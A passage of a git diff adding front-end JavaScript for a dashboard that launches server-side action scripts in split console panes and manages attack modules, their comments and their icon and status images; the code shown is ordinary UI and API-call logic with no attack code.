'tabBtnActions', type: 'button' }, [tx('actions.tabs.actions', 'Actions')]), + el('button', { class: 'tab-btn', id: 'tabBtnArgs', type: 'button' }, [tx('actions.tabs.arguments', 'Arguments')]), + ]); + + const sideHeader = el('div', { class: 'sideheader' }, [ + el('div', { class: 'al-side-meta' }, [ + el('div', { class: 'sidetitle' }, [tx('nav.actions', 'Actions')]), + el('button', { class: 'al-btn', id: 'hideSidebar', 'data-hide-sidebar': '1', type: 'button' }, [tx('common.hide', 'Hide')]), + ]), + sideTabs, + el('div', { class: 'al-search' }, [ + el('input', { + id: 'searchInput', + class: 'al-input', + type: 'text', + placeholder: tx('actions.searchPlaceholder', 'Search actions...'), + }), + ]), + ]); + + const actionsSidebar = el('div', { id: 'tab-actions', class: 'sidebar-page' }, [ + el('div', { id: 'actionsList', class: 'al-list' }), + ]); + + const argsSidebar = el('div', { id: 'tab-arguments', class: 'sidebar-page', style: 'display:none' }, [ + el('div', { class: 'section' }, [ + el('div', { class: 'h' }, [tx('actions.args.title', 'Arguments')]), + el('div', { class: 'sub' }, [tx('actions.args.subtitle', 'Auto-generated from action definitions')]), + ]), + el('div', { id: 'argBuilder', class: 'builder' }), + el('div', { class: 'section' }, [ + el('input', { + id: 'freeArgs', + class: 'ctl', + type: 'text', + placeholder: tx('actions.args.free', 'Additional arguments (e.g., --verbose --debug)'), + }), + ]), + el('div', { id: 'presetChips', class: 'chips' }), + ]); + + const sideContent = el('div', { class: 'sidecontent' }, [actionsSidebar, argsSidebar]); + + const sidebarPanel = el('aside', { class: 'panel al-sidebar' }, [sideHeader, sideContent]); + + const splitSeg = el('div', { class: 'seg', id: 'splitSeg' }, [ + el('button', { type: 'button', 'data-split': '1', class: 'active' }, ['1']), + el('button', { type: 'button', 'data-split': '2' }, ['2']), + el('button', { type: 'button', 'data-split': '3' }, ['3']), + el('button', { type: 'button', 'data-split': '4' }, ['4']), + ]); + + const toolbar = el('div', { class: 'toolbar2' }, [ + el('div', { class: 'spacer' }), + splitSeg, + ]); + + const multiConsole = el('div', { class: 'multiConsole split-1', id: 'multiConsole' }); + + const centerPanel = el('section', { class: 'center panel' }, [toolbar, multiConsole]); + + return el('div', { class: 'actions-container page-with-sidebar' }, [ + sidebarPanel, + el('main', { id: 'actionsLauncher' }, [centerPanel]), + ]); +} + +function bindStaticEvents() { + const tabActions = q('#tabBtnActions'); + const tabArgs = q('#tabBtnArgs'); + + if (tabActions) tracker.trackEventListener(tabActions, 'click', () => switchTab('actions')); + if (tabArgs) tracker.trackEventListener(tabArgs, 'click', () => switchTab('arguments')); + + const searchInput = q('#searchInput'); + if (searchInput) { + tracker.trackEventListener(searchInput, 'input', () => { + searchQuery = String(searchInput.value || '').trim().toLowerCase(); + renderActionsList(); + }); + } + + $$('#splitSeg button', root).forEach((btn) => { + tracker.trackEventListener(btn, 'click', () => { + if (isMobile()) { + enforceMobileOnePane(); + return; + } + split = Number(btn.dataset.split || '1'); + $$('#splitSeg button', root).forEach((b) => b.classList.toggle('active', b === btn)); + renderConsoles(); + }); + }); + + tracker.trackEventListener(window, 'resize', onResizeDebounced); +} + +function onResizeDebounced() { + clearTimeout(onResizeDebounced._t); + onResizeDebounced._t = setTimeout(() => { + enforceMobileOnePane(); + renderConsoles(); + }, 120); +} + +function switchTab(tab) { + currentTab = tab; + const tabActions = q('#tabBtnActions'); + const tabArgs = q('#tabBtnArgs'); + const actionsPane = q('#tab-actions'); + const argsPane = q('#tab-arguments'); + + if (tabActions) tabActions.classList.toggle('active', tab === 'actions'); + if (tabArgs) tabArgs.classList.toggle('active', tab === 'arguments'); + if (actionsPane) actionsPane.style.display = tab === 'actions' ? '' : 'none'; + if (argsPane) argsPane.style.display = tab === 'arguments' ? '' : 'none'; +} + +function enforceMobileOnePane() { + if (!isMobile()) { + $$('#splitSeg button', root).forEach((btn) => { + btn.disabled = false; + btn.style.opacity = ''; + btn.style.pointerEvents = ''; + }); + return; + } + + split = 1; + if (!panes[0] && activeActionId) panes[0] = activeActionId; + for (let i = 1; i < panes.length; i++) panes[i] = null; + + $$('#splitSeg button', root).forEach((btn) => { + btn.classList.toggle('active', btn.dataset.split === '1'); + btn.disabled = true; + btn.style.opacity = '0.6'; + btn.style.pointerEvents = 'none'; + }); +} + +async function loadActions() { + try { + const response = await api.get('/list_scripts', { timeout: 12000, retries: 1 }); + const list = Array.isArray(response?.data) ? response.data : []; + + const prev = new Map(actions.map((a) => [a.id, a.status])); + + actions = list.map((raw) => normalizeAction(raw)); + actions.forEach((a) => { + a.status = prev.get(a.id) || (a.is_running ? 'running' : 'ready'); + if (!logsByAction.has(a.id)) logsByAction.set(a.id, []); + }); + + if (activeActionId && !actions.some((a) => a.id === activeActionId)) { + activeActionId = null; + empty(q('#argBuilder')); + empty(q('#presetChips')); + } + } catch (err) { + toast(`${tx('common.error', 'Error')}: ${err.message}`, 2600, 'error'); + actions = []; + } +} + +function normalizeAction(raw) { + const id = raw.b_module || (raw.name ? raw.name.replace(/\.py$/, '') : 'unknown'); + + let args = raw.b_args ?? {}; + if (typeof args === 'string') { + try { args = JSON.parse(args); } catch { args = {}; } + } + + let examples = raw.b_examples; + if (typeof examples === 'string') { + try { examples = JSON.parse(examples); } catch { examples = []; } + } + if (!Array.isArray(examples)) examples = []; + + return { + id, + name: raw.name || raw.b_class || raw.b_module || 'Unnamed', + module: raw.b_module || raw.module || id, + bClass: raw.b_class || id, + category: (raw.b_action || raw.category || 'normal').toLowerCase(), + description: raw.description || tx('actions.description', 'Description'), + args, + icon: raw.b_icon || `/actions_icons/${encodeURIComponent(raw.b_class || id)}.png`, + version: raw.b_version || '', + author: raw.b_author || '', + docsUrl: raw.b_docs_url || '', + examples, + path: raw.path || raw.module_path || raw.b_module || id, + is_running: !!raw.is_running, + status: raw.is_running ? 'running' : 'ready', + }; +} + +function renderActionsList() { + const container = q('#actionsList'); + if (!container) return; + empty(container); + + const filtered = actions.filter((a) => { + if (!searchQuery) return true; + const hay = `${a.name} ${a.description} ${a.module} ${a.id} ${a.author} ${a.category}`.toLowerCase(); + return searchQuery.split(/\s+/).every((term) => hay.includes(term)); + }); + + if (!filtered.length) { + container.appendChild(el('div', { class: 'sub' }, [tx('actions.noActions', 'No actions found')])); + return; + } + + for (const a of filtered) { + const row = el('div', { class: `al-row${a.id === activeActionId ? ' selected' : ''}`, draggable: 'true', 'data-action-id': a.id }, [ + el('div', { class: 'ic' }, [ + el('img', { + class: 'ic-img', + src: a.icon, + alt: '', + onerror: (e) => { + e.target.onerror = null; + e.target.src = '/actions/actions_icons/default.png'; + }, + }), + ]), + el('div', {}, [ + el('div', { class: 'name' }, [a.name]), + el('div', { class: 'desc' }, [a.description]), + ]), + el('div', { class: `chip ${statusChipClass(a.status)}` }, [statusChipText(a.status)]), + ]); + + tracker.trackEventListener(row, 'click', () => onActionSelected(a.id)); + tracker.trackEventListener(row, 'dragstart', (ev) => { + ev.dataTransfer?.setData('text/plain', a.id); + }); + + container.appendChild(row); + } +} + +function statusChipClass(status) { + if (status === 'running') return 'run'; + if (status === 'success') return 'ok'; + if (status === 'error') return 'err'; + return ''; +} + +function statusChipText(status) { + if (status === 'running') return tx('actions.running', 'Running'); + if (status === 'success') return tx('common.success', 'Success'); + if (status === 'error') return tx('common.error', 'Error'); + return tx('common.ready', 'Ready'); +} + +function onActionSelected(actionId) { + activeActionId = actionId; + const action = actions.find((a) => a.id === actionId); + if (!action) return; + + renderActionsList(); + renderArguments(action); + + if (assignTargetPaneIndex != null) { + panes[assignTargetPaneIndex] = actionId; + clearAssignTarget(); + renderConsoles(); + return; + } + + const existing = panes.findIndex((id) => id === actionId); + if (existing >= 0) { + highlightPane(existing); + return; + } + + const effectiveSplit = isMobile() ? 1 : split; + let target = panes.slice(0, effectiveSplit).findIndex((id) => !id); + if (target < 0) target = 0; + panes[target] = actionId; + renderConsoles(); +} + +function renderArguments(action) { + switchTab('arguments'); + + const builder = q('#argBuilder'); + const chips = q('#presetChips'); + if (!builder || !chips) return; + empty(builder); + empty(chips); + + const metaBits = []; + if (action.version) metaBits.push(`v${action.version}`); + if (action.author) metaBits.push(`by ${action.author}`); + + if (metaBits.length || action.docsUrl) { + const top = el('div', { style: 'display:flex;justify-content:space-between;gap:8px;align-items:center' }, [ + el('div', { class: 'sub' }, [metaBits.join(' • ')]), + action.docsUrl + ? el('a', { class: 'al-btn', href: action.docsUrl, target: '_blank', rel: 'noopener noreferrer' }, ['Docs']) + : null, + ]); + builder.appendChild(top); + } + + const entries = Object.entries(action.args || {}); + if (!entries.length) { + builder.appendChild(el('div', { class: 'sub' }, [tx('actions.args.none', 'No configurable arguments')])); + } + + for (const [key, cfgRaw] of entries) { + const cfg = cfgRaw && typeof cfgRaw === 'object' ? cfgRaw : { type: 'text', default: cfgRaw }; + + const field = el('div', { class: 'field' }, [ + el('div', { class: 'label' }, [cfg.label || key]), + createArgControl(key, cfg), + cfg.help ? el('div', { class: 'sub' }, [cfg.help]) : null, + ]); + builder.appendChild(field); + } + + const presets = Array.isArray(action.examples) ? action.examples : []; + for (let i = 0; i < presets.length; i++) { + const p = presets[i]; + const label = p.name || p.title || `Preset ${i + 1}`; + const btn = el('button', { class: 'chip2', type: 'button' }, [label]); + tracker.trackEventListener(btn, 'click', () => applyPreset(p)); + chips.appendChild(btn); + } +} + +function createArgControl(key, cfg) { + const tpe = cfg.type || 'text'; + + if (tpe === 'select') { + const sel = el('select', { class: 'select', 'data-arg': key }); + const choices = Array.isArray(cfg.choices) ? cfg.choices : []; + for (const c of choices) { + const opt = el('option', { value: String(c) }, [String(c)]); + if (cfg.default != null && String(cfg.default) === String(c)) opt.selected = true; + sel.appendChild(opt); + } + return sel; + } + + if (tpe === 'checkbox') { + const ctl = el('input', { type: 'checkbox', class: 'ctl', 'data-arg': key }); + ctl.checked = !!cfg.default; + return ctl; + } + + if (tpe === 'number') { + const attrs = { + type: 'number', + class: 'ctl', + 'data-arg': key, + value: cfg.default != null ? String(cfg.default) : '', + }; + if (cfg.min != null) attrs.min = String(cfg.min); + if (cfg.max != null) attrs.max = String(cfg.max); + if (cfg.step != null) attrs.step = String(cfg.step); + return el('input', attrs); + } + + if (tpe === 'range' || tpe === 'slider') { + const min = cfg.min != null ? Number(cfg.min) : 0; + const max = cfg.max != null ? Number(cfg.max) : 100; + const val = cfg.default != null ? Number(cfg.default) : min; + + const wrap = el('div', { style: 'display:grid;grid-template-columns:1fr auto;gap:8px;align-items:center' }); + const range = el('input', { + type: 'range', + class: 'range', + 'data-arg': key, + min: String(min), + max: String(max), + step: String(cfg.step != null ? cfg.step : 1), + value: String(val), + }); + const out = el('span', { class: 'sub' }, [String(val)]); + tracker.trackEventListener(range, 'input', () => { out.textContent = range.value; }); + wrap.appendChild(range); + wrap.appendChild(out); + return wrap; + } + + return el('input', { + type: 'text', + class: 'ctl', + 'data-arg': key, + value: cfg.default != null ? String(cfg.default) : '', + placeholder: cfg.placeholder || '', + }); +} + +function applyPreset(preset) { + const builder = q('#argBuilder'); + if (!builder) return; + + for (const [k, v] of Object.entries(preset || {})) { + if (k === 'name' || k === 'title') continue; + const input = builder.querySelector(`[data-arg="${k}"]`); + if (!input) continue; + + if (input.type === 'checkbox') input.checked = !!v; + else input.value = String(v ?? ''); + } + + toast(tx('actions.toast.presetApplied', 'Preset applied'), 1400, 'success'); +} + +function collectArguments() { + const args = []; + const builder = q('#argBuilder'); + if (builder) { + const controls = $$('[data-arg]', builder); + controls.forEach((ctl) => { + const key = ctl.getAttribute('data-arg'); + const flag = '--' + String(key).replace(/_/g, '-'); + + if (ctl.type === 'checkbox') { + if (ctl.checked) args.push(flag); + return; + } + + const value = String(ctl.value ?? '').trim(); + if (!value) return; + args.push(flag, value); + }); + } + + const free = String(q('#freeArgs')?.value || '').trim(); + if (free) args.push(...free.split(/\s+/)); + + return args.join(' '); +} + +function renderConsoles() { + const container = q('#multiConsole'); + if (!container) return; + + const effectiveSplit = isMobile() ? 1 : split; + container.className = `multiConsole split-${effectiveSplit}`; + container.style.setProperty('--rows', effectiveSplit === 4 ? '2' : '1'); + empty(container); + + for (let i = effectiveSplit; i < panes.length; i++) panes[i] = null; + + for (let i = 0; i < effectiveSplit; i++) { + const actionId = panes[i]; + const action = actionId ? actions.find((a) => a.id === actionId) : null; + + const pane = el('div', { class: 'pane', 'data-index': String(i) }); + + const title = el('div', { class: 'paneTitle' }, [ + el('span', { class: 'dot', style: `background:${statusDotColor(action?.status || 'ready')}` }), + action ? el('img', { + class: 'paneIcon', + src: action.icon, + alt: '', + onerror: (e) => { + e.target.onerror = null; + e.target.src = '/actions/actions_icons/default.png'; + }, + }) : null, + el('div', { class: 'titleBlock' }, [ + el('div', { class: 'titleLine' }, [el('strong', {}, [action ? action.name : tx('actions.emptyPane', '— Empty Pane —')])]), + action ? el('div', { class: 'metaLine' }, [ + action.version ? el('span', { class: 'chip' }, ['v' + action.version]) : null, + action.author ? el('span', { class: 'chip' }, ['by ' + action.author]) : null, + ]) : null, + ]), + ]); + + const paneBtns = el('div', { class: 'paneBtns' }); + if (!action) { + const assignBtn = el('button', { class: 'al-btn', type: 'button' }, [tx('actions.assign', 'Assign')]); + tracker.trackEventListener(assignBtn, 'click', () => setAssignTarget(i)); + paneBtns.appendChild(assignBtn); + } else { + const runBtn = el('button', { class: 'al-btn', type: 'button' }, [tx('common.run', 'Run')]); + tracker.trackEventListener(runBtn, 'click', () => runActionInPane(i)); + + const stopBtn = el('button', { class: 'al-btn warn', type: 'button' }, [tx('common.stop', 'Stop')]); + tracker.trackEventListener(stopBtn, 'click', () => stopActionInPane(i)); + + const clearBtn = el('button', { class: 'al-btn', type: 'button' }, [tx('console.clear', 'Clear')]); + tracker.trackEventListener(clearBtn, 'click', () => clearActionLogs(action.id)); + + const exportBtn = el('button', { class: 'al-btn', type: 'button' }, ['⬇ Export']); + tracker.trackEventListener(exportBtn, 'click', () => exportActionLogs(action.id, action.name)); + + const autoBtn = el('button', { class: 'al-btn', type: 'button' }, [autoClearPane[i] ? 'Auto-clear ON' : 'Auto-clear OFF']); + if (autoClearPane[i]) autoBtn.classList.add('warn'); + tracker.trackEventListener(autoBtn, 'click', () => { + autoClearPane[i] = !autoClearPane[i]; + renderConsoles(); + }); + + paneBtns.appendChild(runBtn); + paneBtns.appendChild(stopBtn); + paneBtns.appendChild(clearBtn); + paneBtns.appendChild(exportBtn); + paneBtns.appendChild(autoBtn); + } + + const header = el('div', { class: 'paneHeader' }, [title, paneBtns]); + const log = el('div', { class: 'paneLog', id: `paneLog-${i}` }); + + pane.appendChild(header); + pane.appendChild(log); + container.appendChild(pane); + + tracker.trackEventListener(pane, 'dragover', (e) => { + e.preventDefault(); + pane.classList.add('paneHighlight'); + }); + tracker.trackEventListener(pane, 'dragleave', () => pane.classList.remove('paneHighlight')); + tracker.trackEventListener(pane, 'drop', (e) => { + e.preventDefault(); + pane.classList.remove('paneHighlight'); + const dropped = e.dataTransfer?.getData('text/plain'); + if (!dropped) return; + panes[i] = dropped; + renderConsoles(); + }); + + renderPaneLog(i, actionId); + } +} + +function renderPaneLog(index, actionId) { + const logEl = q(`#paneLog-${index}`); + if (!logEl) return; + empty(logEl); + + if (!actionId) { + logEl.appendChild(el('div', { class: 'logline dim' }, [tx('actions.logs.empty', 'Select an action to see logs')])); + return; + } + + const lines = logsByAction.get(actionId) || []; + if (!lines.length) { + logEl.appendChild(el('div', { class: 'logline dim' }, [tx('actions.logs.waiting', 'Waiting for logs...')])); + return; + } + + for (const line of lines) { + logEl.appendChild(el('div', { class: `logline ${logLineClass(line)}` }, [String(line)])); + } + + logEl.scrollTop = logEl.scrollHeight; +} + +function logLineClass(line) { + const l = String(line || '').toLowerCase(); + if (l.includes('error') || l.includes('failed') || l.includes('traceback')) return 'err'; + if (l.includes('warn')) return 'warn'; + if (l.includes('success') || l.includes('done') || l.includes('complete')) return 'ok'; + if (l.includes('info') || l.includes('start')) return 'info'; + return 'dim'; +} + +function statusDotColor(status) { + if (status === 'running') return 'var(--acid)'; + if (status === 'success') return 'var(--ok)'; + if (status === 'error') return 'var(--danger)'; + return 'var(--accent-2, #18f0ff)'; +} + +function setAssignTarget(index) { + assignTargetPaneIndex = index; + $$('.pane', root).forEach((p) => p.classList.remove('paneHighlight')); + q(`.pane[data-index="${index}"]`)?.classList.add('paneHighlight'); + switchTab('actions'); +} + +function clearAssignTarget() { + assignTargetPaneIndex = null; + $$('.pane', root).forEach((p) => p.classList.remove('paneHighlight')); +} + +function highlightPane(index) { + const pane = q(`.pane[data-index="${index}"]`); + if (!pane) return; + pane.classList.add('paneHighlight'); + setTimeout(() => pane.classList.remove('paneHighlight'), 900); +} + +async function runActionInPane(index) { + const actionId = panes[index] || activeActionId; + const action = actions.find((a) => a.id === actionId); + if (!action) { + toast(tx('actions.toast.selectActionFirst', 'Select an action first'), 1600, 'warning'); + return; + } + + if (!panes[index]) panes[index] = action.id; + if (autoClearPane[index]) clearActionLogs(action.id); + + action.status = 'running'; + renderActionsList(); + renderConsoles(); + + const args = collectArguments(); + appendActionLog(action.id, tx('actions.toast.startingAction', 'Starting {{name}}...').replace('{{name}}', action.name)); + + try { + const res = await api.post('/run_script', { script_name: action.module || action.id, args }); + if (res.status !== 'success') throw new Error(res.message || 'Run failed'); + startOutputPolling(action.id); + } catch (err) { + action.status = 'error'; + appendActionLog(action.id, `Error: ${err.message}`); + renderActionsList(); + renderConsoles(); + toast(`${tx('common.error', 'Error')}: ${err.message}`, 2600, 'error'); + } +} + +async function stopActionInPane(index) { + const actionId = panes[index] || activeActionId; + const action = actions.find((a) => a.id === actionId); + if (!action) return; + + try { + const res = await api.post('/stop_script', { script_name: action.path || action.module || action.id }); + if (res.status !== 'success') throw new Error(res.message || 'Stop failed'); + + action.status = 'ready'; + stopOutputPolling(action.id); + appendActionLog(action.id, tx('actions.toast.stoppedByUser', 'Stopped by user')); + renderActionsList(); + renderConsoles(); + } catch (err) { + toast(`${tx('actions.toast.failedToStop', 'Failed to stop')}: ${err.message}`, 2600, 'error'); + } +} + +function clearActionLogs(actionId) { + logsByAction.set(actionId, []); + for (let i = 0; i < panes.length; i++) if (panes[i] === actionId) renderPaneLog(i, actionId); + + const action = actions.find((a) => a.id === actionId); + if (action) { + api.post('/clear_script_output', { script_name: action.path || action.module || action.id }).catch(() => {}); + } +} + +function exportActionLogs(actionId, actionName = 'action') { + const logs = logsByAction.get(actionId) || []; + if (!logs.length) { + toast(tx('actions.toast.noLogsToExport', 'No logs to export'), 1600, 'warning'); + return; + } + + const blob = new Blob([logs.join('\n')], { type: 'text/plain;charset=utf-8' }); + const url = URL.createObjectURL(blob); + const a = document.createElement('a'); + a.href = url; + a.download = `${actionName}_logs_${Date.now()}.txt`; + document.body.appendChild(a); + a.click(); + a.remove(); + URL.revokeObjectURL(url); +} + +function appendActionLog(actionId, line) { + const list = logsByAction.get(actionId) || []; + list.push(line); + logsByAction.set(actionId, list); + for (let i = 0; i < panes.length; i++) if (panes[i] === actionId) renderPaneLog(i, actionId); +} + +function startOutputPolling(actionId) { + stopOutputPolling(actionId); + + const action = actions.find((a) => a.id === actionId); + if (!action) return; + + const scriptPath = action.path || action.module || action.id; + + const tick = async () => { + try { + const res = await api.get(`/get_script_output/${encodeURIComponent(scriptPath)}`, { timeout: 8000, retries: 0 }); + if (res?.status !== 'success') throw new Error('Invalid output payload'); + + const data = res.data || {}; + const output = Array.isArray(data.output) ? data.output : []; + logsByAction.set(actionId, output); + + if (data.is_running) { + action.status = 'running'; + renderActionsList(); + for (let i = 0; i < panes.length; i++) if (panes[i] === actionId) renderPaneLog(i, actionId); + const id = setTimeout(tick, 1000); + pollingTimers.set(actionId, id); + return; + } + + if (data.last_error) { + action.status = 'error'; + appendActionLog(actionId, `Error: ${data.last_error}`); + } else { + action.status = 'success'; + appendActionLog(actionId, tx('actions.logs.completed', 'Script completed')); + } + + stopOutputPolling(actionId); + renderActionsList(); + renderConsoles(); + } catch { + // Keep trying while action is expected running. + if (action.status === 'running') { + const id = setTimeout(tick, 1200); + pollingTimers.set(actionId, id); + } + } + }; + + tick(); +} + +function stopOutputPolling(actionId) { + const timer = pollingTimers.get(actionId); + if (timer) { + clearTimeout(timer); + pollingTimers.delete(actionId); + } +} diff --git a/web/js/pages/attacks.js b/web/js/pages/attacks.js new file mode 100644 index 0000000..3b554ff --- /dev/null +++ b/web/js/pages/attacks.js @@ -0,0 +1,953 @@ +import { ResourceTracker } from '../core/resource-tracker.js'; +import { el, toast } from '../core/dom.js'; +import { t as i18nT } from '../core/i18n.js'; +import { initSharedSidebarLayout } from '../core/sidebar-layout.js'; + +const PAGE = 'attacks'; +let tracker = null; +let root = null; +let currentAttack = null; +let selectedSection = null; +let selectedImageScope = null; +let selectedActionName = null; +let selectedImages = new Set(); +let editMode = false; +let imageCache = []; +let imageResolver = null; +let sortKey = 'name'; +let sortDir = 1; +const iconCache = new Map(); +let disposeSidebarLayout = null; + +function q(sel, base = root) { return base?.querySelector(sel) || null; } +function qa(sel, base = root) { return Array.from(base?.querySelectorAll(sel) || []); } +function note(msg, ms = 2200, type = 'info') { toast(String(msg ?? ''), ms, type); } +function L(key, vars) { return i18nT(key, vars); } +function Lx(key, fallback, vars) { + const out = i18nT(key, vars); + return out && out !== key ? out : fallback; +} + +function markup() { + return ` +
                +
                +
                ${L('attacks.sidebar.management')}
                +
                + +
                +
                + + + +
                + +
                +
                  +
                  + + + + + +
                  +
                  ${L('attacks.empty.noAttacks')}
                  +
                  + +
                  +
                    +
                    + + + +
                    +
                    ${L('attacks.empty.noComments')}
                    +
                    + +
                    +

                    ${L('attacks.section.characters')}

                    +
                      +
                      + + +
                      +

                      ${L('attacks.section.statusImages')}

                      +
                        +

                        ${L('attacks.section.staticImages')}

                        +
                          +

                          ${L('attacks.section.webImages')}

                          +
                            +

                            ${L('attacks.section.actionIcons')}

                            +
                              +
                              +
                              + +
                              +
                              +
                              +
                              +

                              ${L('attacks.editor.selectAttack')}

                              +
                              + + +
                              +
                              + +
                              +
                              + +
                              +
                              +

                              ${L('attacks.tabs.comments')}

                              + + +
                              +
                              +
                              +
                              +
                              + +
                              +
                              + ${L('attacks.images.enterEditMode')} + + +
                              + ${Lx('attacks.images.density', 'Density')} + +
                              +
                              S
                              + + + + + + + + + +
                              +
                              +
                              +
                              `; +} + +async function getJSON(url) { + const r = await fetch(url); + if (!r.ok) throw new Error(`HTTP ${r.status}`); + return r.json(); +} + +async function postJSON(url, body = {}) { + const r = await fetch(url, { + method: 'POST', + headers: { 'Content-Type': 'application/json' }, + body: JSON.stringify(body), + }); + return r.json(); +} + +async function iconFor(name) { + if (iconCache.has(name)) return iconCache.get(name); + for (const url of [`/actions_icons/${encodeURIComponent(name)}.png`, `/get_status_icon?action=${encodeURIComponent(name)}`]) { + try { + const r = await fetch(url); + if (!r.ok) continue; + const b = await r.blob(); + const obj = URL.createObjectURL(b); + iconCache.set(name, obj); + return obj; + } catch { } + } + return '/web/images/attack.png'; +} + +function iconCandidateURLs(actionName) { + return [ + `/actions_icons/${encodeURIComponent(actionName)}.png`, + `/actions_icons/${encodeURIComponent(actionName)}.bmp`, + `/get_status_icon?action=${encodeURIComponent(actionName)}`, + ]; +} + +function escapeRegExp(value) { + return String(value).replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} + +async function makePlaceholderIconBlob(actionName) { + const size = 128; + const canvas = document.createElement('canvas'); + canvas.width = size; + canvas.height = size; + const ctx = canvas.getContext('2d'); + ctx.fillStyle = '#0b0e13'; + ctx.fillRect(0, 0, size, size); + ctx.lineWidth = 8; + ctx.strokeStyle = '#59b6ff'; + ctx.beginPath(); + ctx.arc(size / 2, size / 2, size / 2 - 8, 0, Math.PI * 2); + ctx.stroke(); + const initials = (actionName || 'A') + .split(/[^A-Za-z0-9]+/) + .filter(Boolean) + .slice(0, 2) + .map((x) => x[0]) + .join('') + .toUpperCase() || 'A'; + ctx.fillStyle = '#59b6ff'; + ctx.font = 'bold 56px sans-serif'; + ctx.textAlign = 'center'; + ctx.textBaseline = 'middle'; + ctx.fillText(initials, size / 2, size / 2 + 4); + return new Promise((resolve) => canvas.toBlob((b) => resolve(b || new Blob([], { type: 'image/png' })), 'image/png')); +} + +async function fetchActionIconBlob(actionName) { + for (const url of iconCandidateURLs(actionName)) { + try { + const r = await fetch(url, { cache: 'no-cache' }); + if (r.ok) return await r.blob(); + } catch { } + } + try { + const r = await fetch('/web/images/attack.png', { cache: 'no-cache' }); + if (r.ok) return await r.blob(); + } catch { } + return makePlaceholderIconBlob(actionName); +} + +async function hasStatusImage(actionName) { + const p = `/images/status/${encodeURIComponent(actionName)}/${encodeURIComponent(actionName)}.bmp`; + try { + const r = await fetch(p, { cache: 'no-cache' }); + return r.ok; + } catch { + return false; + } +} + +async function actionHasCharacterImages(actionName) { + try { + const data = await getJSON('/get_action_images?action=' + encodeURIComponent(actionName)); + const imgs = data?.images || []; + if (!Array.isArray(imgs)) return false; + const rx = new RegExp(`^${escapeRegExp(actionName)}\\d+\\.(bmp|png|jpe?g|gif|webp)$`, 'i'); + return imgs.some((im) => { + const n = typeof im === 'string' ? im : (im.name || im.filename || ''); + return rx.test(String(n)); + }); + } catch { + return false; + } +} + +async function ensureStatusImageFromIcon(actionName) { + if (await hasStatusImage(actionName)) return false; + const blob = await fetchActionIconBlob(actionName); + const fd = new FormData(); + fd.append('type', 'action'); + fd.append('action_name', actionName); + fd.append('status_image', new File([blob], `${actionName}.bmp`, { type: 'image/bmp' })); + const r = await fetch('/upload_status_image', { method: 'POST', body: fd }); + const d = await r.json(); + if (d.status !== 'success') throw new Error(d.message || 'upload_status_image failed'); + return true; +} + +async function ensureAtLeastOneCharacterImageFromIcon(actionName) { + if (await actionHasCharacterImages(actionName)) return false; + const blob = await fetchActionIconBlob(actionName); + const fd = new FormData(); + fd.append('action_name', actionName); + fd.append('character_images', new File([blob], `${actionName}1.png`, { type: blob.type || 'image/png' })); + const r = await fetch('/upload_character_images', { method: 'POST', body: fd }); + const d = await r.json(); + if (d.status !== 'success') throw new Error(d.message || 'upload_character_images failed'); + return true; +} + +async function ensureCommentsSection(sectionName, sectionsSet) { + if (sectionsSet.has(sectionName)) return false; + await postJSON('/save_comments', { + section: sectionName, + comments: [Lx('attacks.sync.defaultComment', 'Add comment for this action')], + }); + sectionsSet.add(sectionName); + return true; +} + +async function syncMissing() { + try { + const attacksResp = await getJSON('/get_attacks'); + const attacks = Array.isArray(attacksResp) ? attacksResp : (Array.isArray(attacksResp?.attacks) ? attacksResp.attacks : []); + const names = attacks.map((a) => a?.name || a?.id).filter(Boolean); + if (!names.length) { + note(Lx('attacks.sync.none', 'No attacks to sync.'), 2200, 'warning'); + return; + } + + const sectionsResp = await getJSON('/get_sections'); + const sectionsSet = new Set((sectionsResp?.sections || []).map((x) => String(x))); + let createdComments = 0; + let createdStatus = 0; + let createdChars = 0; + + for (const name of names) { + if (await ensureCommentsSection(name, sectionsSet)) createdComments++; + if (await ensureStatusImageFromIcon(name)) createdStatus++; + if (await ensureAtLeastOneCharacterImageFromIcon(name)) createdChars++; + } + + note( + Lx( + 'attacks.sync.done', + `Sync done. New comments: ${createdComments}, status images: ${createdStatus}, character images: ${createdChars}.`, + { comments: createdComments, status: createdStatus, characters: createdChars }, + ), + 4200, + 'success', + ); + await Promise.all([loadAttacks(), loadSections(), loadImageScopes(), loadCharacters()]); + if (selectedImageScope) await refreshScope(); + } catch (e) { + note(`${Lx('attacks.sync.failed', 'Sync Missing failed')}: ${e.message}`, 3200, 'error'); + } +} + +async function loadAttacks() { + const list = q('#attacks-list'); + const hint = q('#empty-attacks-hint'); + if (!list || !hint) return; + list.innerHTML = ''; + + try { + const data = await getJSON('/get_attacks'); + const attacks = (Array.isArray(data) ? data : (data.attacks || [])) + .map((a) => ({ name: a.name || a.id || L('common.unknown'), enabled: Number(a.enabled ?? a.b_enabled ?? 0) })) + .sort((a, b) => a.name.localeCompare(b.name, undefined, { numeric: true, sensitivity: 'base' })); + + hint.style.display = attacks.length ? 'none' : 'block'; + for (const a of attacks) { + const li = document.createElement('li'); + li.className = 'card'; + li.dataset.attackName = a.name; + + const img = document.createElement('img'); + iconFor(a.name).then((u) => { img.src = u; }); + + const span = document.createElement('span'); + span.textContent = a.name; + + const dot = document.createElement('button'); + dot.className = 'enable-dot' + (a.enabled ? ' on' : ''); + dot.type = 'button'; + tracker.trackEventListener(dot, 'click', async (e) => { + e.stopPropagation(); + const target = !dot.classList.contains('on'); + dot.classList.toggle('on', target); + const d = await postJSON('/actions/set_enabled', { action_name: a.name, enabled: target ? 1 : 0 }); + if (d.status !== 'success') dot.classList.toggle('on', !target); + }); + + tracker.trackEventListener(li, 'click', () => selectAttack(a.name, li)); + li.append(img, span, dot); + list.appendChild(li); + } + } catch { + hint.style.display = 'block'; + hint.textContent = L('attacks.errors.loadAttacks'); + } +} + +async function selectAttack(name, node) { + qa('#attacks-list .card').forEach((n) => n.classList.remove('selected')); + node?.classList.add('selected'); + currentAttack = name; + q('#editor-title').textContent = name; + const ta = q('#editor-textarea'); + ta.disabled = false; + const d = await getJSON('/get_attack_content?name=' + encodeURIComponent(name)); + ta.value = d?.status === 'success' ? (d.content ?? '') : ''; +} + +function imageSort(list) { + const cmpName = (a, b) => a.name.localeCompare(b.name, undefined, { sensitivity: 'base', numeric: true }) * sortDir; + const area = (x) => (x.width || 0) * (x.height || 0); + return [...list].sort(sortKey === 'name' ? cmpName : ((a, b) => ((area(a) - area(b)) * sortDir || cmpName(a, b)))); +} + +function syncImageModeClasses() { + if (!root) return; + root.classList.toggle('edit-mode', !!editMode); + root.classList.remove('status-mode', 'static-mode', 'web-mode', 'icons-mode'); + if (selectedImageScope === 